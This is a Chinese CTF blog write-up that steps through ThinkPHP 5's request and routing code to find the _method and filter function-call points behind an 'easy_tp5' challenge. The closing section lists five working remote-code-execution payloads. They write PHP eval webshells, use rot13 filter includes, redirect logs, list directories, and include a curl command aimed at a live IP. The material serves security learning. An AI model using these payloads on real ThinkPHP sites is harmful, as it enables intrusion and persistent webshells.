3rsh1
/single dog/college student/ctfer
3rsh1's Blog

easy_tp5简析&tp审计入门

一道thinkphp5漏洞挖掘的题目,也算是入门一下thinkphp5的代码审计吧。首先看了一遍wp啥都没看懂,我真的是太菜了。所以接下来准备先分别以getpost传值,看一下大致的代码逻辑。

基础:

获取当前的请求信息:

$request = Request::instance();

URL路由解析及页面输出工作可以分为5部分。

路由定义

完成路由规则的定义和参数设置,通过配置route目录下的文件对路由进行定义。

路由检测

检查当前的URL请求是否有匹配的路由。这部分内容主要是对当前的URL请求进行路由匹配。

路由解析

解析当前路由实际对应的操作。

路由调度

执行路由解析的结果调度。

响应输出及应用结束

将路由调度的结果数据输出至页面并结束程序运行。

实验1:

关于phpstorm+wsl远程调试的一个教程:

https://learnku.com/articles/41362

从头开始的一遍,路由:

#application/index/controller/Test.php
<?php
namespace app\index\controller;
class Test{
    public function hello(a){
        returna;
    }
}

入口点:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123102922.png

继续跟进:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123102943.png

跟进run()方法,一开始会触发类的自动加载,直接步出即可,然后就会进入到run()方法:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123103127.png

创建一个请求实例,并且初始化应用。继续向下走,检测是否为多语言模式。

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123103317.png

进行路由检测,获取其模块控制器操作等信息,跟进此方法。

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123103419.png

进入routeCheck方法:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123103516.png

跟进path方法,此方法主要是用来获取pathinfo信息:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123103615.png

跟进path方法内的pathinfo方法:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123103713.png

这里的兼容模式通过GET传值s来获取路由信息,即Config::get['var_pathinfo']==='s'

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123104323.png

pathinfo信息做去除左侧/处理。返回pathinfo。一路步过,回到routecheck函数。

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123105850.png

导入路由配置。

pathinfo进一步处理,应该还是路由检测的一部分,会对路由做合理性判断:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123110035.png

跟进check函数:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123110701.png

跟进$request->method方法,代码如下:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123111648.png

需要注意的一点就是图中高亮行会判断是否有POST传参_method,若是有则会对$_POST数组执行$this->{$this->method}函数,即$a=$_POST['_method'];$a($_POST);,但是方法的最后会进行一次判断,这里的最后返回的传参方式是此次请求的传参方式。但是实际上我们的传参方法完全是可控的,而且可以调用此类的任意函数。 然后再跳回到check函数,继续向下走到parseUrl函数,这个函数主要起到分割路径和组装路由的功能,跟进:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123170512.png

继续跟进paraUrlPath函数,在这个函数里,pathinfo信息被分类分离。

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123170421.png

如下:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123170729.png

继续执行到parseUrl的最后一步:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123171403.png

我们可以看到,路由已经被分割完毕了。至此路由检测和解析已经执行的差不多了,这里我们还没有获取到参数的值。跳回到run方法,记录路由调度,并且检查是否是debug模式:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123171610.png

继续执行到switch语句,进行判断之后,开始执行路由调度。因为我们解析数组的第一个元素是模块,所以在这里开始执行:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123171740.png

跟进module方法:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123172041.png

这个地方又新建了一个request对象,并且初始化,但是这个新建的request对象有我们的这个请求的特征。这里是之前的request对象的引用。因为是个静态函数,instance函数会首先检测是否当前空间下存在一个request的对象:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123172656.png

跳出来这个函数继续向下走:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123173538.png

经过一系列对module的检测执行到这个函数进行模块初始化,看一眼module函数:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123173712.png

继续跟进init函数:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123173902.png

导入数据库文件等:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123174316.png

继续执行至函数结束,跳出至module函数:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123174541.png

这个函数和之前的module函数差不多,即记录控制器和方法:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123174808.png

继续走到,loader:controller()函数,这个函数主要是实例化控制器,跟进:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123175316.png
https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123175421.png

首先判断name里面有没有/若是有就直接分割成数组,没就获取module的值,跟进pareClass函数:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123175728.png

函数的作用是返回类的类名,这里居然给直接拼接了controller

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123175914.png

执行到跳出controller方法,这里的instance已经是Test类的一个对象了:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123180042.png

继续跟进invokeMethod函数,这个函数的作用就是执行Test类的函数:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123180538.png

这里是新建了一个反射方法对象,用于获取制定法方法的信息,继续跟进bindParams函数,这个函数的作用是获取函数的参数,即把GET传的值对应到函数的参数上面去,跟进函数内的param函数:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123180921.png

首先判断param是否为空若为空会先执行method函数,这个函数在之前已经提过了,获取请求的方式。然后一个switch逻辑,选择以那种方式获取传参,最后因为是GET方法会直接执行最后面的array_merge方法,重点是里面的get方法:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123181406.png

若是get值为空,就把GET传值的数组赋给get,直接执行到最后的input方法,跟进:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123181602.png

继续执行至input函数结束,跟进param最后的input函数:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123181923.png

中间会有一次获取过滤器的操作,但是因为没有设置,就跳过去了。因为data是我们的GET数组,需要进行过滤的操作,跟进filterValue函数:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123182331.png

注意:如果我们可控filter的值,因为data值也可控,我们就可以直接执行任意函数。之前曾经遇到过通过POST传参_method,对POST数组执行函数的情况。感觉可以利用。

还有最后面的一个默认过滤函数也蛮有意思的:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123182543.png

继续执行完过滤函数,回到bindParams函数:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123184932.png

执行到最后还有一个全局过滤:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123185141.png

继续执行跳回到invokeMethod函数:

image-20201123185358163

记录执行的信息,然后执行函数返回的内容为函数执行的结果。继续执行跳回到run函数:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123185528.png

这里的data即函数执行之后的返回值,继续执行。

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123190215.png

跟进create函数,函数的作用是新建一个响应对象:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20201123190316.png

最后的请求发送以及appshutdown函数就不介绍了,至此一次完整的请求和响应就结束了。源码是n1ctf的某道题目的源码。

关于题目的理解:

解法基本上都会用到一开始获取传参方式的method方法中的任意类内函数执行点,还有一个函数就是在获取参数时,需要对参数执行过滤函数的那个点,在实验1中也已经标注了点的位置。

非预期1:

_method=__construct&method=GET&server[]=1&filter[]=think\Build::module&get[]=index//../../public//?><?php eval($_GET[a]);?>

非预期2:

文件包含没修完全导致的使用php过滤器+rot13绕过语法错误。

b=../public/./<?cuc riny(trgnyyurnqref()["pzq"]);?>&_method=__construct&filter=think\Build::moudle&a=1&method=GET

b=php://filter/read=string.rot13/resource=./<?cuc riny(trgnyyurnqref()["pzq"]);?>/controller/Index.php&_method=__construct&filter=think\__include_file&a=1&method=GET

非预期3:

_method=__construct&filter[]=json_decode&filter[]=get_object_vars&filter[]=think\Log::init&method=GET&get[]={"type":"File", "path":"/var/www/html/public/logs"} 

非预期4:

_method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=/var/www/html/public/ 

非预期5:

curl --data "path=PD9waHAgZmlsZV9wdXRfY29udGVudHMoJ3N1cHBwLnBocCcsJ3N1cGVyIGd1ZXNzc3NlcnMnKTsgPz4=&_method=__construct&filter[]=set_error_handler&filter[]=self::path&filter[]=base64_decode&filter[]=\think\view\driver\Php::Display&method=GET" "http://101.32.184.39/?s=captcha&g=implode" --output - > a.html

思路都差不多不过是执行函数上的区别,一部分解法是直接执行命令,还有一部分解法就是写shell,或者写log

shell用到的是think\__include_file方法,think\Build::module方法和think\Log::init方法。

参考链接:

https://learnku.com/articles/41362
https://www.smi1e.top/tinkphp5-0-x-rce-php7-%e6%96%b0%e5%88%a9%e7%94%a8%e6%96%b9%e5%bc%8f%e6%8c%96%e6%8e%98/
https://www.freebuf.com/vuls/200585.html

发表评论

textsms
account_circle
email

3rsh1's Blog

easy_tp5简析&tp审计入门
一道thinkphp5漏洞挖掘的题目,也算是入门一下thinkphp5的代码审计吧。首先看了一遍wp啥都没看懂,我真的是太菜了。所以接下来准备先分别以get和post传值,看一下大致的代码逻辑。 基础…
扫描二维码继续阅读
2020-12-28